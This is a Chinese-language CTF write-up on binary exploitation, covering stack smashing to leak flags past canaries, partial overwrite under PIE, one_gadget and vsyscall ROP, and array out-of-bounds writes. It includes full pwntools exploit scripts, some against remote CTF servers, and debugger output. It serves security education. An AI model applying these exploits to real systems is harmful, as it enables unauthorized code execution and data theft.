s2; // [rsp+60h] [rbp-40h] unsigned __int64 v10; // [rsp+98h] [rbp-8h] v10 = __readfsqword(0x28u); v7 = 3LL; LODWORD(stat_loc.__uptr) = 0; v6 = 0LL; sub_4009A6(); HIDWORD(stat_loc.__iptr) = open("./flag.txt", 0, a2); if ( HIDWORD(stat_loc.__iptr) == -1 ) {   perror("./flag.txt");   _exit(-1); } read(SHIDWORD(stat_loc.__iptr), &buf, 0x30uLL); close(SHIDWORD(stat_loc.__iptr)); puts("This is GUESS FLAG CHALLENGE!"); while ( 1 ) {   if ( v6 >= v7 )   {     puts("you have no sense... bye :-) ");     return 0LL;   }   v5 = sub_400A11();   if ( !v5 )     break;   ++v6;   wait((__WAIT_STATUS)&stat_loc); } puts("Please type your guessing flag"); gets(&s2); if ( !strcmp(&buf, &s2) )   puts("You must have great six sense!!!! :-o "); else   puts("You should take more effort to get six sence, and one more challenge!!"); return 0LL; } pwn@pwn-PC:~/Desktop$ checksec GUESS [*] '/home/pwn/Desktop/GUESS'   Arch:     amd64-64-little   RELRO:   Partial RELRO   Stack:   Canary found   NX:       NX enabled   PIE:     No PIE (0x400000) 先捋一捋流程首先由于使用了gets,因此可以无限制溢出,并且有三次机会。然后发现flag.txt中flag值通过read(SHIDWORD(stat_loc.__iptr), &buf, 0x30uLL)读入到了栈中,&buf处。最后开启了canary,可以使用stack smashing的方法泄漏处flag的值。那么怎样去构造呢?想要获取flag的值,就得获取buf的栈中的地址,因为ASLR的原因,那么需要先泄漏libc的基址,根据偏移去计算出加载后的栈中buf的地址。但是现在问题是得到了libc的的加载地址,怎么算出stack的加载地址,因为每次加载的时候,两者相距的长度变化的。解决的办法 pwn@pwn-PC:~/Desktop$ objdump -d /usr/lib/x86_64-linux-gnu/libc-2.24.so | grep __environ dc97d: 48 c7 05 c0 f5 2b 00   movq   $0xfff,0x2bf5c0(%rip)       # 39bf48 <__environ@@GLIBC_2.2.5+0x10> ..... __environ在libc中的偏移量为0x39bf38。 这样一来,栈中environ的值和buf的栈地址的相对位置是固定的,可以根据environ的值-偏移量=buf的栈地址。那么程序中这三次输入分别是:第一次,通过泄露函数的got表内容,计算得到libc基址。第二次,通过libc基址和偏移量计算得到&environ,获取environ的值。第三次,通过_environ的值,计算出buf的栈地址,泄露buf中存储的flag的值。步骤如下:第一次泄漏libc基址 from pwn import * # context.arch = 'amd64' # context.log_level = 'debug' # context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c'] p = process('./GUESS') elf = ELF("./GUESS") libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') gets_got = elf.got['gets'] # print hex(gets_got) p.recvuntil('guessing flag\n') payload = 'a' * 0x128 + p64(gets_got) p.sendline(payload) p.recvuntil('detected ***: ') gets_addr = u64(p.recv(6).ljust(0x8,'\x00')) libc_base_addr = gets_addr - libc.symbols['gets'] print 'libc_base_addr: ' + hex(libc_base_addr) pwn@pwn-PC:~/Desktop$ python exp.py [+] Starting local process './GUESS': pid 28733 [*] '/home/pwn/Desktop/GUESS'   Arch:     amd64-64-little   RELRO:   Partial RELRO   Stack:   Canary found   NX:       NX enabled   PIE:     No PIE (0x400000) [*] '/lib/x86_64-linux-gnu/libc.so.6'   Arch:     amd64-64-little   RELRO:   Partial RELRO   Stack:   Canary found   NX:       NX enabled   PIE:     PIE enabled libc_base_addr: 0x7ff71434f000 第二次泄漏_environ的值 environ_addr = libc_base_addr + libc.symbols['_environ'] # print 'environ_addr: ' + hex(environ_addr) payload1 = 'a' * 0x128 + p64(environ_addr) p.recvuntil('Please type your guessing flag') p.sendline(payload1) p.recvuntil('stack smashing detected ***: ') stack_addr = u64(p.recv(6).ljust(0x8,'\x00')) print 'stack_addr: '+hex(stack_addr) pwn@pwn-PC:~/Desktop$ python exp.py [+] Starting local process './GUESS': pid 29707 [*] '/home/pwn/Desktop/GUESS'   Arch:     amd64-64-little   RELRO:   Partial RELRO   Stack:   Canary found   NX:       NX enabled   PIE:     No PIE (0x400000) [*] '/lib/x86_64-linux-gnu/libc.so.6'   Arch:     amd64-64-little   RELRO:   Partial RELRO   Stack:   Canary found   NX:       NX enabled   PIE:     PIE enabled libc_base_addr: 0x7f8d02122000 stack_addr: 0x7ffc5a61c908 第三次泄漏flag的值 计算出stack_addr和buf_addr的相距长度 pwndbg> distance 0x7fffffffcca0 0x7fffffffce08 0x7fffffffcca0->0x7fffffffce08 is 0x168 bytes (0x2d words) payload2 = 'a' * 0x128 + p64(stack_addr - 0x168) p.recvuntil('Please type your guessing flag') p.sendline(payload2) p.recvuntil('stack smashing detected ***: ') flag = p.recvline() print 'flag:' + flag pwn@pwn-PC:~/Desktop$ python exp.py [+] Starting local process './GUESS': pid 29877 [*] '/home/pwn/Desktop/GUESS'   Arch:     amd64-64-little   RELRO:   Partial RELRO   Stack:   Canary found   NX:       NX enabled   PIE:     No PIE (0x400000) [*] '/lib/x86_64-linux-gnu/libc.so.6'   Arch:     amd64-64-little   RELRO:   Partial RELRO   Stack:   Canary found   NX:       NX enabled   PIE:     PIE enabled libc_base_addr: 0x7f8d02122000 stack_addr: 0x7ffc5a61c908 flag: flag{stack_smash} exp: from pwn import * # context.arch = 'amd64' # context.log_level = 'debug' # context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c'] p = process('./GUESS') elf = ELF("./GUESS") libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') gets_got = elf.got['gets'] # print hex(gets_got) p.recvuntil('guessing flag\n') payload = 'a' * 0x128 + p64(gets_got) p.sendline(payload) p.recvuntil('detected ***: ') gets_addr = u64(p.recv(6).ljust(0x8,'\x00')) libc_base_addr = gets_addr - libc.symbols['gets'] print 'libc_base_addr: ' + hex(libc_base_addr) environ_addr = libc_base_addr + libc.symbols['_environ'] # print 'environ_addr: ' + hex(environ_addr) payload1 = 'a' * 0x128 + p64(environ_addr) p.recvuntil('Please type your guessing flag') p.sendline(payload1) p.recvuntil('stack smashing detected ***: ') stack_addr = u64(p.recv(6).ljust(0x8,'\x00')) print 'stack_addr: '+hex(stack_addr) payload2 = 'a' * 0x128 + p64(stack_addr - 0x168) p.recvuntil('Please type your guessing flag') p.sendline(payload2) p.recvuntil('stack smashing detected ***: ') flag = p.recvline() print 'flag:' + flag 题目三 Jarvis OJ中的smashes,与题目一一样,但是可以直接在本地显示错误信息,只是提供了一个复现场景 pwn@pwn-PC:~/Desktop$ python -c 'print "A"*536+__import__("struct").pack("<Q",0x400d20) + "\n"'|./smashes.44838f6edd4408a53feb2e2bbfe5b229 Hello! What's your name? Nice to meet you, AAAAAA..... Please overwrite the flag: Thank you, bye! *** stack smashing detected ***: PCTF{Here's the flag on server} terminated exp: from pwn import * p=remote("pwn.jarvisoj.com","9877") p.recvuntil("name?"); flag_addr=0x400d20                                                                                                 payload='a'*0x218+p64(flag_addr)+'\n' p.sendline(payload) p.recvuntil('stack smashing detected ***: ') flag = p.recvline() print flag pwn@pwn-PC:~/Desktop$ python exp.py [+] Opening connection to pwn.jarvisoj.com on port 9877: Done PCTF{57dErr_Smasher_good_work!} terminated [*] Closed connection to pwn.jarvisoj.com port 9877 ```` # 题目四 main函数中存在栈溢出,源码如下: int __cdecl main(int argc, const char argv, const char envp){ __int64 v4; // rsp+18h char v5; // rsp+20h char v6; // rsp+A0h unsigned __int64 v7; // rsp+128h v7 = __readfsqword(0x28u); putenv("LIBC_FATAL_STDERR_=1", argv, envp); v4 = fopen64("flag.txt", "r"); if ( v4 ) { fgets(&v5, 32LL, v4); fclose(v4); printf((unsigned __int64)"Interesting data loaded at %p\nYour username? "); fflush(0LL, &v5); read(0LL, &v6, 1024LL); } else { puts("Error leyendo dato pwn@pwn-PC:~/Desktop$ checksec xpl[*] '/home/pwn/Desktop/xpl' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) pwndbg> vmmapLEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA 0x400000 0x4c0000 r-xp c0000 0 /home/pwn/Desktop/xpl 0x6bf000 0x6c2000 rw-p 3000 bf000 /home/pwn/Desktop/xpl 0x6c2000 0x6e8000 rw-p 26000 0 [heap] 0x7ffff7ffa000 0x7ffff7ffd000 r--p 3000 0 [vvar] 0x7ffff7ffd000 0x7ffff7fff000 r-xp 2000 0 开启了ASLR,并且可以知道程序将flag.txt的flag值存放在了char v5 //[rsp+20h] [rbp-110h]中,这看起来与题目二相似,可以使用其思路,但是vmmap发现这没有动态编译,那么此思路就pass掉,再去找其他的办法,百思不得其解时,运行一下程序,发现会输出一个地址,回过头去看代码才发现因自己的知识储备太少,没有注意到prinf的中%p的是匹配的哪。 pwn@pwn-PC:~/Desktop$ ./xpl Interesting data loaded at 0x7ffe65dfcfd0Your username? 源码: printf((unsigned __int64)"Interesting data loaded at %p\nYour username? "); 调试: 0x4010d9 <main+123> lea rax, [rbp - 0x110] 0x4010e0 <main+130> mov rsi, rax 0x4010e3 <main+133> mov edi, 0x493b28 0x4010e8 <main+138> mov eax, 0 ► 0x4010ed <main+143> call printf <0x408770> format: 0x493b28 ◂— 'Interesting data loaded at %p\nYour username? ' vararg: 0x7fffffffcc00 ◂— 'flag{stack 0x4010f2 <main+148> mov edi, 0 0x4010f7 <main+153> call fflush <0x408c90> 0x4010fc <main+158> lea rax, [rbp - 0x90] 0x401103 <main+165> mov edx, 0x400 0x401108 <main+170> mov rsi, rax────────────────────────[ STACK ]────────────────────────00:0000│ rsp 0x7fffffffcbe0 —▸ 0x7fffffffcdf8 —▸ 0x7fffffffd0d6 ◂— '/home/pwn/Desktop/xpl'01:0008│ 0x7fffffffcbe8 ◂— 0x10000000002:00 发现程序一开始输出的地址,就是v5所在的栈地址,也就是flag的地址,步骤如下: 找到__libc_argv[0]的地址: 43:0218│ rsi 0x7fffffffcdf8 —▸ 0x7fffffffd0d6 ◂— '/home/pwn/Desktop/xpl' 计算出偏移量: pwndbg> i r rbprbp 0x7fffffffcd10 0x7fffffffcd10pwndbg> x /gx 0x7fffffffcd10-0x900x7fffffffcc80: 0x000000037ffffa00pwndbg> distance 0x7fffffffcc80 0x7fffffffcdf80x7fffffffcc80->0x7fffffffcdf8 is 0x178 bytes (0x2f words) 获取flag: from pwn import * sh = process('./xpl')data = sh.recvuntil("username?")address = p64(int(data.split()[4], 16))sh.send("A"*0x178 + address)print sh.recvline() pwn@pwn-PC:~/Desktop$ python exp.py [+] Starting local process './xpl': pid 4363 * stack smashing detected *: flag{stack_smash} # partial write 根据前面的内容可以知道在开启ASLR+PIE的后,每次加载的地址是在一定的范围随机变化的,只不过由于内存页为0x1000空间大小的限制和加载后相对偏移不会变的缘故,造成了加载后的地址的最后一个半字节长度的内容是不变的。 partial write则是利用了这一点,内存是以页载入机制,如果开启PIE保护的话,只能影响到单个内存页,一个内存页大小为0x1000,那么就意味着不管地址怎么变,某一条指令的后三位十六进制数的地址是始终不变的,因此我们可以通过覆盖地址的后几位来可以控制程序的执行流。 另外,partial overwrite不仅仅可以用在栈上,同样可以用在其 #include <unistd.h>#include <stdlib.h>void flag(){ system("cat flag");}void vuln(){ char buf[40]; puts("Input your Name:"); read(0, buf, 0x30); printf("Hello %s:\n", buf); read(0, buf, 0x60); }int main(int argc, char const *argv[]){ vuln(); return 0;} pwn@pwn-PC:~/Desktop$ gcc -fpie -pie -fstack-protector -o test-pie partial.cpwn@pwn-PC:~/Desktop$ checksec test-pie [*] '/home/pwn/Desktop/test-pie' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled 此题目所有保护都开着,首先发现有canary,就想着使用stack smash泄漏flag函数的地址,然后此地址作为第二次read的ret_addr地址进行执行,但是只有第二次read操作存在栈溢出,而且溢出的距离无法到达到覆盖__libc_argv[0]的距离,假设即便能覆盖,在PIE的情况下也很难确定.text的地址,因此本题使用partial overwrite的方法进行利用。 可以发现两次read操作,只有第二次read操作存在栈溢出,但是又有canary,很难利用第二次的栈溢出,那么怎么去解决? 首先需要获取canary的值, 因为read函数并不会给输入的末尾加上 \x00 字符, from pwn import *context.arch = 'amd64'context.log_level = 'debug'context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']offset = 0x28p = process('./test-pie')p.recvuntil("Name:\n")payload='a' * offset gdb.attach(p)p.sendline(payload) p.recvuntil('a' * offset)p.recv(1)canary = u64('\0' + p.recvn(7) pwn@pwn-PC:~/Desktop$ python exp.py [+] Starting local process './test-pie': pid 28293[DEBUG] Received 0x11 bytes: 'Input your Name:\n'[DEBUG] Wrote gdb script to '/tmp/pwnozkM_1.gdb' file "./test-pie"[*] running in new terminal: /usr/bin/gdb -q "./test-pie" 28293 -x "/tmp/pwnozkM_1.gdb"[DEBUG] Laun 可以看到,sent了0x29个字符,因为buf的栈地址到canary值的地址的相距0x28个字符,再加上覆盖的canary的末尾字符总共0x29个字符,栈中覆盖情况如下: read(0, buf, 0x30)函数执行完成后:───────────────────────────────────[ STACK ]─────────────────────────────────────────00:0000│ rax r8 rsp 0x7ffcd84e68d0 ◂— 0x6161616161616161 ('aaaaaaaa')... ↓05:0028│ 0x7ffcd84e68f8 ◂— 0x5764f3c02805770a06:0030│ rbp 0x7ffcd84e6900 —▸ 0x7ffcd84e6920 —▸ 0x55a96ce218b0 ◂— pus 覆盖ret_addr控制程序的指令流 首先找到flag的地址,最后一个半字节为0x7f0,由于内存是按页夹在的 0x1000为一页,因此每次加载这三位是不会变的,那么在payload中发送的时候(按字节发送,发送4位),第四位随便填写一个即可,每次对随机加载后的flag函数起始地址进行碰撞,因为范围在0x0 -0xf,所以碰撞成功的几率挺大的。 pwndbg> disassemble flagDump of assembler code for function flag: 0x00005555555547f0 <+0>: push rbp 0x00005555555547f1 <+1>: mov rbp,rsp 0x00005555555547f4 <+4>: lea rdi,[rip+0x139] # 0x555555554934 0x00005555555547fb <+11>: call 0x555555554680 system@plt 0x0000555555554800 <+16>: nop 0x000055555555 构造payload,覆盖ret_addr的末尾两个字节 p.recvuntil(":\n") payload='a' * offset + p64(canary) + 'bbbbbbbb' + '\xf0\x47'p.send(payload) 可以看到RAX、Canary、ret_addr的末尾两个字节都已经成功覆盖,后面的工作就是去碰撞。─────────────────────────────[ REGISTERS ]──────────────────────────────── RAX 0xa4c9b736e3763700 RBP 0x7ffe773d1da0 ◂— 0x6262626262626262 ('bbbbbbbb') RSP 0x7ffe773d1d70 ◂— 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa' RIP 0x55cd0345386f ◂— xor rax, qwo exp: from pwn import *context.arch = 'amd64'context.log_level = 'debug'context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']offset = 0x28while True: try: p = process('./test-pie') p.recvuntil("Name:\n") payload='a' * offset # gdb.attach(p) p.sendline(payload) p.recvuntil('a' * offset) p.recv(1) canary payload='a' * offset + p64(canary) + 'bbbbbbbb' + '\xf0\x47' p.send(payload) flag = p.recvall() if 'flag' in flag: exit(0) except Exception as e: p.close() print e pwn@pwn-PC:~/Desktop$ python exp.py [+] Starting local process './test-pie': pid 17736[DEBUG] Received 0x11 bytes: 'Input your Name:\n'[DEBUG] Sent 0x29 bytes: 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\n'......[+] Receiving all data: Done (37B)[DEBUG] Received 0x25 bytes: 'flag{23dih3879sad8dsk84ihv 总结:在该情况下,因为有canary保护,所以先泄漏canary ,进而构造payload绕过canary覆盖返回地址来执行指定的函数。 # 题目二 2018年XNUCA中的gets题目 int64 fastcall main(__int64 a1, char a2, char a3){ __int64 v4; // rsp+0h gets((int64)&v4, (int64)a2, (__int64)a3); return 0LL;} pwn@pwn-PC:~/Desktop$ checksec gets [*] '/home/pwn/Desktop/gets' Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)依然没有PIE,但是开了ASLR保护 只有一个gets函数而且存在明显栈溢出漏洞,想象空间很大,可以构造execve函数进行getshell,由于开启了ASLR,必须先构造read或者puts函数泄漏libc的地址,但代码段又没有这些函数,依然得需要先知道libc的加载地址。那么既然开启地址随机化,尝试partial overwrite去覆盖返回地址(覆盖成onegadget的地址)达到getshell的目的。 ps:one-gadget是glibc里调用execve('/bin/sh', NULL, NULL)的一段非常有用的gadget。在我们能够控制ip的时候,用one-gadget来做RCE(远程代码执行)非常方便,一般地,此办法在64位上常用,却在32位的libc上会很难去找,也很难用。 pwn@pwn-PC:~/Desktop$ one_gadget /usr/lib/x86_64-linux-gnu/libc-2.24.so0x3f306 execve("/bin/sh", rsp+0x30, environ)constraints: rax == NULL 0x3f35a execve("/bin/sh", rsp+0x30, environ)constraints: [rsp+0x30] == NULL 0xd695f execve("/bin/sh", rsp+0x60, environ)constraints: [rsp+0x60] == NULL 可以看到栈中main函数的返回地址是0x7ffff7a5a2e1(__libc_start_main+241),继续往下看还发现 0x7ffff7de896b (_dl_init+139)。 有两个地址,这有什么用呢?继续往下看 发现两个地址分别属于libc和ld,而且经过多次实验发现在每次加载中,Id.so和libc.so的加载地址的相对位置是固定的,也就是偏移量不变。 就好比开头提到的,一个比较自然的想法就是我们通过 partial overwrite 来修改0x7ffff7a5a2e1的末尾两位字节为0xf306(如题目一的思路),经过多次碰撞得到onegadget的地址,最终getsh pwndbg> xinfo __libc_start_mainExtended information for virtual address 0x7ffff7a5a1f0: Containing mapping: 0x7ffff7a3a000 0x7ffff7bcf000 r-xp 195000 0 /usr/lib/x86_64-linux-gnu/libc-2.24.so Offset information: Mapped Area 0x7ffff7a5a1f0 = 0x7ffff7a3a000 + 0x201f0 File (Base) 0x7ffff7a5a1f0 = 0x7fff 一般来说 libc_start_main 在 libc 中的偏移不会差的太多,那么显然我们如果覆盖 __libc_start_main+240 ,显然是不可能的。 那么第二个地址_dl_init+139就有用了,将其覆盖为0x7ffff700f306,按照上面的方法看看是否可行。 onegadge:0x7ffff700f306 那么根据偏移计算出来 libc的基址:0x7ffff6fd0000 此时_dl_init+139的地址:0x7ffff7xxxxxx(给一个最小的地址:0x7ffff7000000),此时_dl_init的(最小)偏移量(距离libc)为0x2FF75 libc和ld两 pwndbg> xinfo _dl_initExtended information for virtual address 0x7ffff7de88e0: Containing mapping: 0x7ffff7dd9000 0x7ffff7dfc000 r-xp 23000 0 /usr/lib/x86_64-linux-gnu/ld-2.24.so Offset information: Mapped Area 0x7ffff7de88e0 = 0x7ffff7dd9000 + 0xf8e0 File (Base) 0x7ffff7de88e0 = 0x7ffff7dd9000 + 0x 也就是说,当libc的基址为0x7ffff6fd0000是,此时覆盖栈上_dl_init+139为0x7ffff700f306就一定能够碰撞onegadget的地址,这是其中一个可能,还有很多种其他的可能,虽然碰撞几率不大,也不会很小,其实证明了这么久其实就是卡一个0x7ffff6fdxxxxx和0x7ffff7xxxxx这个点的几率。 下面的操作就简单易懂了,解决怎么去覆盖的问题即可。 相隔那么远,怎么在栈上移动? 那么就需要找到合适的gadget了,只需要push_ret那么就可以准确定位到存放_dl_init+139地址。使用__libc_csu_init中的gadget。 pwndbg> x /10i 0x40059b 0x40059b: pop rbp 0x40059c: pop r12 0x40059e: pop r13 0x4005a0: pop r14 0x4005a2: pop r15 0x4005a4: ret 移动的过程如下: 因为这个需要概率,因此不知道payload是不是正确,还在那一直跑,先调试代码,可以发现都是按照设想去执行 只是没成功,然后就是一直跑,直到跑出shell为止。 exp: from pwn import * context.arch = 'amd64' context.log_level = 'debug' context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c'] offset = 0x18 while True: try: p = process('./gets') payload='a' * offset + p64(0x40059B) payload += 'b' * 8 * 5 + p64(0x40059B) + 'c' * 8 * 5 + p64(0x40059B) payload += 'c' * 8 * 5 + '\x06\xa3' gdb.attach(p) p.sendline(payload) p.sendline('ls') data = p.recv() print data p.interactive() p.close() except Exception: p.close() continue 这就需要耐心了,可能几十分钟都没结果(我跑了好久),然后去修改一下partial overwrite的值,将\x06\x03修改成\x06\xa3,一分钟左右就跑出来了。 # 题目三 HITBCTF2017中的1000levels题目,梳理流程,函数有点多 _BOOL8 __fastcall level(signed int a1){ __int64 v2; // rax __int64 buf; // rsp+10h __int64 v4; // rsp+18h __int64 v5; // rsp+20h __int64 v6; // rsp+28h unsigned int v7; // rsp+30h unsigned int v8; // rsp+34h unsigned int v9; // rsp+38h int i; // rsp+3Ch buf = 0LL; v4 = 0LL; v5 = 0LL; v6 = 0LL; if ( pwn@pwn-PC:~/Desktop$ checksec 1000levels [*] '/home/pwn/Desktop/1000levels' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled 主要看level函数,栈溢出发生在 level函数中 __int64 buf; // [rsp+10h] [rbp-30h] read(0, &buf, 0x400uLL) 显然发生了溢出。其中还是开启了PIE保护。 程序的流程是通过go函数进入关卡,获取设置的关卡数数目,在level函数中进行递归执行,程序有点复杂,就没有头绪,那么先从溢出点看,怎么利用这个溢出点?利用题目二的思路,使用partial overwrite覆盖返回地址为onegadget地址,也就是覆盖0x238距离外的0x7ffff7de896b (_dl_init+139) ,然后再利用合适的gadget(因为PIE的缘故 int hint(void){ signed __int64 v1; // rsp+8h int v2; // rsp+10h __int16 v3; // rsp+14h if ( show_hint ) { sprintf((char *)&v1, "Hint: %p\n", &system, &system); } else { v1 = 5629585671126536014LL; v2 = 1430659151; v3 = 78; } return puts((const char *)&v1);} 无论执不执行sprintf((char *)&v1, "Hint: %p\n", &system, &system)这条语句,在之前执行这么一段指令 0x555555554cfb <hint()+11> mov rax, qword ptr [rip + 0x2012ce]0x555555554d02 <hint()+18> mov qword ptr [rbp - 0x110], rax 将[rip + 0x2012ce]=>0x7ffff7a79480 (system)放在栈中位置是hint函数的rbp - 0x110,也就是只要执行hint函数,那么system函数就会被放在rbp - 0x110处,而且这个位置很眼熟,在go函数中也有 int go(void){ int v1; // ST0C_4 __int64 v2; // rsp+0h __int64 v3; // rsp+0h int v4; // rsp+8h __int64 v5; // rsp+10h signed __int64 v6; // rsp+10h signed __int64 v7; // rsp+18h __int64 v8; // rsp+20h puts("How many levels?"); v2 = read_num(); if ( v2 > 0 ) v5 = v2; else puts("Coward"); puts("Any mor v5和v6都是rbp-0x110,由于栈帧开辟的原理,main函数中的hint函数和go函数的的rbp应该是同一个地址,因此在执行完hint函数后,再去执行go函数,v5和v6中保存了system的地址,而且刚才说的栈溢出发生在level函数中,由于栈帧开辟的原理,level函数的栈帧在go函数的栈帧的低位置处,可以通过栈溢出和合适的ret的gadget去执行system函数,不过这有两个前提,一、rbp-0x110的地址内容不会被覆盖;二、需要pop_rsi_ret的gadget和'/bin/sh'的地址,这看起来很难满足,继续看程序逻辑,会发现 if ( v2 > 0 ) v5 = v2;else puts("Coward");puts("Any more?");v3 = read_num();v6 = v5 + v3; 也就说只要v2<=0,rbp-0x110就不会被覆盖,而且v6 = v5 + v3可以灵活运用,可以看成onegadget_addr = system_addr + (onegadget_addr-system_addr),因为刚才页提到了最终都要往onegadget上靠,而且我们知道,无论怎么加载,偏移量始终是固定的。这样分析完后,思路就很明确了,显示构造onegadget_addr,然后利用栈溢出和合适的ret的gadget去执行onegadget。 第一步得找到level返回地址和rbp-0x110的距离 pwndbg> disassemble goDump of assembler code for function _Z2gov: 0x0000555555554b7c <+0>: push rbp 0x0000555555554b7d <+1>: mov rbp,rsp 0x0000555555554b80 <+4>: sub rsp,0x120 0x0000555555554b87 <+11>: lea rdi,[rip+0x506] # 0x555555555094 0x0000555555554b8e <+18>: call 0x555555554900 puts@plt 0x0000 在go的汇编代码中可以看到,总共开辟了0x120大小的栈帧,v5和v6在rsp+10h中,很容易可以计算出level返回地址距离system_addr的距离是0x18,栈结构如下: 0x7fffffffcb88 | 0x555555554c74 (go()+248) 0x7fffffffcb90 | 0x1 0x7fffffffcb98 | 0x555560531c95 0x7fffffffcba0 | 0x2 经过覆盖后0x7fffffffcba0中存的是onegadget的地址。然后在使用合适的gadget越过0x7fffffffcb88、0x7fffffffcb90和0x7fffffffcb98三个内存单元,控制程序执行0x7fffffffcba0的内容。 第二步寻找合适的gadget。 在PIE的情况下,怎么寻找这个合适的gadget,在stack-pivot篇幅中的第一部分ASLR和PIE的区别的时候,一直提到一个点,无论开启ASLR,还是PIE+ASLR,vsyscall的加载地址依然不变,始终为0xffffffffff600000 - 0xffffffffff601000。 简单介绍一下 seg000:0000000000000000 mov rax, 60hseg000:0000000000000007 syscall ; Low latency system callseg000:0000000000000009 retnseg000:0000000000000009 ; ---------------------------------------------------------------------------seg000:000000000000000A align 400hseg000:0000000000000400 mov rax, 0C9hseg000: 显示的这三个系统调用分别是:gettimeofday, time和getcpu。值得注意的是,在我们选择gadget的是,直接调用vsyscall中的retn指令,会提示段错误,这是因为vsyscall执行时会进行检查,如果不是从函数开头执行的话就会出错 所以不能直接调用ret,应该从头开始。 第三步找到onegadget pwn@pwn-PC:~/Desktop$ one_gadget /usr/lib/x86_64-linux-gnu/libc-2.24.so0x3f306 execve("/bin/sh", rsp+0x30, environ)constraints: rax == NULL 0x3f35a execve("/bin/sh", rsp+0x30, environ)constraints: [rsp+0x30] == NULL 0xd695f execve("/bin/sh", rsp+0x60, environ)constraints: [rsp+0x60] == NULL 准备内容做完后就开始构造payload,但是本地测试一直失败 ,调试时发现每次执行vsyscall的系统调用的的时候,会报出Program recevied signal SIGSEGV(fault address 0xa)的错误提示,可是没有查到原因(求大佬指点),后来在攻防世界中找到一个一样的题目'100levels',只不过最高的循环从1000变为了100,思路没有变,改了下exp就利用成功了,于是更纳闷为什么本地会报这种错误。 from pwn import *libc = ELF("./libc.so") p = process('./1000levels') p = remote('111.200.241.244',45392) one_gadget = 0x3f306 one_gadget = 0x4526asystem = libc.symbols['system'] print r.recvuntil("Choice:\n")p.sendline('2')print r.recvuntil("Choice:\n")p.sendline('1')print r.recvuntil("How many levels?\n")p.sendline('0')print r.recvuntil("Any more?\n")p.sendline(str(one_gadget-system)) def calc(): print r.recvuntil("Question: ") num1 = int(r.recvuntil(" ")) print r.recvuntil("* ") num2 = int(r.recvuntil(" ")) ans = num1 * num2 print r.recvuntil("Answer:") p.sendline(str(ans)) for i in range(999): for i in range(99): calc()print p.recvuntil("Answer:")payload = 'a' * 0x38 + p64(0xffffffffff600000) * 3p.send(payload)p.interactive() # 题目四 2019年CISCN中your_pwn的题目,源码如下: int64 fastcall main(__int64 a1, char a2, char a3){ char s; // rsp+0h unsigned __int64 v5; // rsp+108h v5 = __readfsqword(0x28u); setbuf(stdout, 0LL); setbuf(stdin, 0LL); setbuf(stderr, 0LL); memset(&s, 0, 0x100uLL); printf("input your name \nname:", 0LL); read(0, &s, 0x100uLL); while ( (unsigned int _BOOL8 sub_B35(){ int v1; // rsp+4h int v2; // rsp+8h int i; // rsp+Ch char v4[64]; // rsp+10h char s; // rsp+50h unsigned __int64 v6; // rsp+158h v6 = __readfsqword(0x28u); memset(&s, 0, 0x100uLL); memset(v4, 0, 0x28uLL); for ( i = 0; i <= 40; ++i ) { puts("input index"); __isoc99_scanf("%d", &v1); pwn@pwn-PC:~/Desktop$ checksec pwn[*] '/home/pwn/Desktop/pwn' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled 又是保护全开,根据程序的代码可以发现存在数组越界漏洞,其中v1可以控制,因为v4这个数组在读取索引的时候没有限制,引发数组越界漏洞,而且代码中分别对数组进行了读和写操作,那么造成栈空间任意地址读写(任意地址读和任意地址写)。由于PIE和canary的存在,所以思路是先泄露栈中的某个返回地址,获取栈中的某些函数(main函数的返回地址__libc_start_main+241)的加载地址,从而计算出libc的基址,进而计算得到onegadget的地址,然后写入返回地址进行ROP即可。 在构造payload之前,先分析一下利用过程。 第一步泄漏main函数的返回地址__libc_start_mai pwn@pwn-PC:~/Desktop$ one_gadget /usr/lib/x86_64-linux-gnu/libc-2.24.so0x3f306 execve("/bin/sh", rsp+0x30, environ)constraints: rax == NULL 0x3f35a execve("/bin/sh", rsp+0x30, environ)constraints: [rsp+0x30] == NULL constraints: [rsp+0x60] == NULL 那么此时前期工作就做完,之后利用数组溢出泄漏基址,然后利用数组的写入操作进行rop,执行onegadget,整体的分析如下图: 结合前几节学过的知识,发现能够对过程进行简化,我们泄露0x7fffffffcd18 —▸ 0x7ffff7a5a2e1 (__libc_start_main+241) 的地址,只需要泄漏后后三位(因为前面的加载地址都一样)即可 查看__libc_start_main+241末尾三个字节:pwndbg> x /3bx 0x7fffffffcd180x7fffffffcd18: 0xe1 0xa2 0xa5 :0xa5a2e1 使用后三位字节进行计算:0xa5a2e1- 0x201f0 - 241 = 0xa3a000 :libc addr0xa3a000 + 0x3f306 = 0xa79306 | onegadget addr 将onegadget addr进行写入:0x7fffffffcd18 :0x06 :v2 = 60x7fffffffcd19 :0x93 :v2 = 1470x7fffffffcd1a :0x7a :v2 = 122 写入位置:v4[0x278] :v1 = 632v4[0x279] :v1 = 633v4[0x280] :v1 = 634 注意在进行printf时,是输出是格式%x,运用了一次MOVSX指令(说明:带符号扩展传送指),因此在exp中需要对输出的内容进行处理,exp如下: from pwn import * context.arch = 'amd64' context.log_level = 'debug' context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c'] libc = ELF("/usr/lib/x86_64-linux-gnu/libc-2.24.so")p = process('./pwn')one_gadget = 0x3f306libc_start_main_addr = libc.symbols['__libc_start_main']libc_start_main_241 = 0xf1offset = 0x278newValue = 1 def byte(addr): libc_start_main = '' if(len(addr)<2): libc_start_main = '0' + addr elif(len(addr)==8): libc_start_main = addr[-2:] else: libc_start_main = addr return libc_start_main p.recvuntil("name:")p.sendline('pwn') p.recvuntil("input index\n")p.sendline(str(offset))p.recvuntil("now value(hex) ")addr = p.recvuntil('\n')[:-1]p.sendline(str(newValue)) 